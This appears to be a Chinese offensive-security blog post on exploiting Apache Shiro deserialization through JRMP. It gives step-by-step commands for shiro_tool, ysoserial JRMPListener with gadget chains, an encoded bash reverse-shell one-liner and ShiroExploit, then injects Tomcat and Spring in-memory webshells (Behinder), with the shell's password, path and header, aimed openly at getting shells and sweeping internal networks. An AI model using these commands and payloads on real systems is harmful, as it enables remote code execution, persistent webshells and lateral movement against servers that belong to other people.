前言
shiro在手天下我有,扫出key直接梭哈getshell,横扫内网。但要是像这种情况,直接下班拜拜跑路,没有链子玩毛线…
直到出现了这么一个工具可以通过JRMP协议探测是否存在漏洞,很显然上面工具是做不到的,实战中很可能因此丢掉一个shell
JRMP协议探测漏洞
使用shiro_tool这个工具可以探测JRMP协议,其实也可以使用这个工具批量探测shiroKey,速度准确性还是挺高的
shiro_tool:https://github.com/wyzxxz/shiro_rce_tool
简单介绍一下使用方法:输入此命令即可全自动扫描探测,如果存在key则会自动扫描存在可利用的链子,存在多个链子可通过输入指定数字进行选中
如果不存在key则会提示让你提供可以用的key,没有就拜拜下班~~
也可以在命令添加一个参数keys=指定字典和key=指定key,什么都不添加就默认运行
java -jar shiro_tool.jar http://x.x.x.x/ keys= key=
我们这开一个靶场来练习一下使用JRMP获取shell
可以看到我们的工具已经扫出5条可以利用链子,但是0,1,2不是我们这篇文章的主题,直奔3,4,选中3链路,可以通过DNS判断目标是否出网,要是有回显,就可以开展后续的工作了
输入3后会提示输入http形式的DNS地址,直接输入即可,接着就可以在平台上看到回显。
ysoserial反序列化getshell
目标出网并且有回显,接下来一步就算getshell了。
业界有一款ysoserial反序列化神器,经过多个版本的迭代,已有很多师傅对该工具进行二次开发,诞生了很多反序列化利用链子供我们这些小白使用
这里我使用的是frohoff师傅开发的版本
ysoserial:https://github.com/frohoff/ysoserial/
然后将工具上传到部署VPS上即可食用,开放JRMP的1388端口进行监听,待会我们的工具指定这个端口就ok了
我们可以简单测试哪些链子可以使用,通过DNSlog回显可以得知
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "ping -c 2 cb183.dnslog.cn"
开始监听1388端口
好了,轮到我们的shiro_tool工具出场了,由于刚才使用了URLDNS进行探测,这里重新启动一下工具选择JRMP链子
指定刚才VPS绑定的1388端口,随后我们右边的VPS就开始收到消息了
这边的DNS平台也接收到消息了,说明我们选择的链子是有用的,要是没有回显可以逐步尝试一下其他链子,本菜菜也是一个个尝试的。
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollections8
CommonsCollections9
CommonsCollections10
证明上面那个CommonsCollections2可以使用了,那就弹个shell吧,vps切换一下命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
成功拿下,哈哈哈哈
shiroJRMP利用工具getshell
上面的步骤说实话有些过于繁琐了,每次切换命令都要手动打payload,并且链子也是得手动测反复查看DNSlog切换,这里使用一个工具是可以根据JRMP协议进行探测链子
ShiroExploit:https://github.com/feihong-cs/ShiroExploit-Deprecated
下载下来启动这个工具,至于ysoserial是赠送的,其原理也是通过这个工具进行探测。
这边就简单粗暴节省探测时间,指定10个CC链和1个CB链,指定key,指定回显方式为spring和tomcat,点击下一步。
java -jar .\ShiroExploit.jar
将ShiroExploit.jar也上传一份到vps上,已经存在的ysoserial-all,必须修改名字为ysoserial,不然无法使用。并且ShiroExploit.jar和ysoserial.jar处在同一个目录
vps输入命令进行监听,http端口为8181,jrmp端口为1388,可以自行改变端口,http端口在前,jrmp端口在后
java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer 8181 1388
回到攻击机器上配置ShiroExploit,输入vps地址和刚刚监听的端口,这里直接使用JRMP探测
3种探测简单说明
1、使用ceye探测
- 可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
- 缺点:程序会使用 API:[http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID]](http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=%5BUUID%5D) 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget
2、使用dnslog探测
- 可以不进行任何配置,每次启动时程序会自动从 `dnslog.cn` 申请一个 DNS Record。
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
- 缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录
3、使用JRMP探测
- 需要在 VPS 上通过命令`java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]`开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口
- 如果开启 HttpService/JRMPListener 时未指定端口号,则 `HTTPService` 默认监听 `8080` 端口,`JRMPListener` 默认监听 `8088` 端口
- 使用 `JRMP` 的方式进行漏洞检测,可以显著减小 cookie 大小
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key,然后使用 `JRMP` 依次为各个 Gadget 生成对应的 JRMPListener
从这里可以看出成功探测到两条可以利用的链子CommonsCollections2和CommonsCollections4
只有成功找到链子才可进行RCE
那就顺手弹个shell吧,这个工具好像不支持回显,不是很清楚…
vps这边也是成功收到反弹的shell
ysoserial升级版打内存马
shell有了是有了,总感觉少了点东西?马儿呢?
对啊,没有马儿怎么梭哈横扫内网,得想办法搞点东西维持一下权限。上面那个工具好像是可以直接一键Getshell,但是不太懂如何使用,而且还只是jsp的马子,传上去可能会考虑免杀之类的问题,而内存马就不用担心了哈哈哈哈
这里就可以使用另外一位师傅的魔改后的ysoserial工具打内存马,使用的是Y4er师傅开发的版本
ysoserial-0.0.6:https://github.com/Y4er/ysoserial
简单介绍一下:这里面多了几条链子是可以选择这位师傅现成的内存马也可以自己手动生成内存马添加进去,灵活运用
CommonsBeanutils183NOCC
CommonsBeanutils192NOCC
CommonsBeanutils192WithDualTreeBidiMap
Fastjson1
Fastjson2
Jackson1
Jackson2
链子使用方式,这里以Y4er师傅的例子为例,CommonsBeanutils192NOCC,其他链子应该也可以像这种方式进行使用
关键字CLASS:指定现成的内存马
关键字FILE:指定自定义生成的class内存马
不指定关键字:相当于普通的cmd方式执行命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" # TomcatCmdEcho
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromJMX" # TomcatServletMemShellFromJMX
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromThread" # TomcatServletMemShellFromThread
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromJMX" # TomcatFilterMemShellFromJMX 适用于tomcat7-9
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromThread" # TomcatFilterMemShellFromThread 适用于tomcat7-9
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromJMX" # TomcatListenerMemShellFromJMX
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread" # TomcatListenerMemShellFromThread
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerNeoRegFromThread" # TomcatListenerNeoRegFromThread python neoreg.py -k fuckyou
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell" # SpringInterceptorMemShell 链接shell需要使用存在的路由
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "FILE:E:\Calc.class" # ClassLoaderTemplate
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "calc" # CommandTemplate CLASS: FILE: 不使用协议开头则默认为执行cmd
因为是增强版,下面的链子均可如上方式传递参数
- Click1
- CommonsBeanutils1
- CommonsBeanutils183NOCC
- CommonsBeanutils192NOCC
- CommonsCollections2
- CommonsCollections3
- CommonsCollections4
- Hibernate1
- JavassistWeld1
- JBossInterceptors1
- Jdk7u21
- JSON1
- MozillaRhino1
- MozillaRhino2
- ROME
- Spring1
- Spring2
- Vaadin1
然后将工具上传到部署VPS上即可食用,开放JRMP的1388端口进行监听,待会我们的工具指定这个端口就ok了
经测试CommonsBeanutils183NOCC链子可使用,这次我们尝试新的链子吧
由于现成的内存马没有成功,只能手动生成一个内存马,这里使用的是pen4uin师傅的高度自定义内存马工具
java-memshell-generator:https://github.com/pen4uin/java-memshell-generator/
根据配置生成一个冰蝎内存马
内存马类名和注入器类名不指定会自动生成,如遇到失败情况可指定
密码: hello@2024
请求路径: /test.ico
请求头: Referer: Zdycorcn
脚本类型: JSP
内存马类名: org.apache.http.client.WebSocketUpgradeMbsxugFilter
注入器类名: org.apache.logging.d.HttpUtil![file](http://img.daibao.online/2024/06/image-1717850902553.png)
然后将此内存马上传到vps服务器上,vps输入以下命令即可加载冰蝎内存马
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils183NOCC
"FILE:/home/exptools/HttpUtil.classs"
冰蝎配置
冰蝎连接成功,开始内网梭哈之旅~~
经测试使用其他链子如:CC4链子也可像上面方式打入内存马
至于为什么不一开始就使用这个工具打,凡事都讲究循循渐进的嘛。
这个工具反弹了几次shell都没成功,同一个命令换了上面那个工具就弹成功了。
坑点:使用哥斯拉内存马可能会导致显示连接成功,但是哥斯拉客户端报空指针异常
空指针异常
浏览器访问内存马路径可能报404,但是已经成功打入的,至于为什么这样,菜菜还不是很明白,之前使用其他工具直接打都是空白页面不会显示404,一度以为还没打成功没上shell管理工具。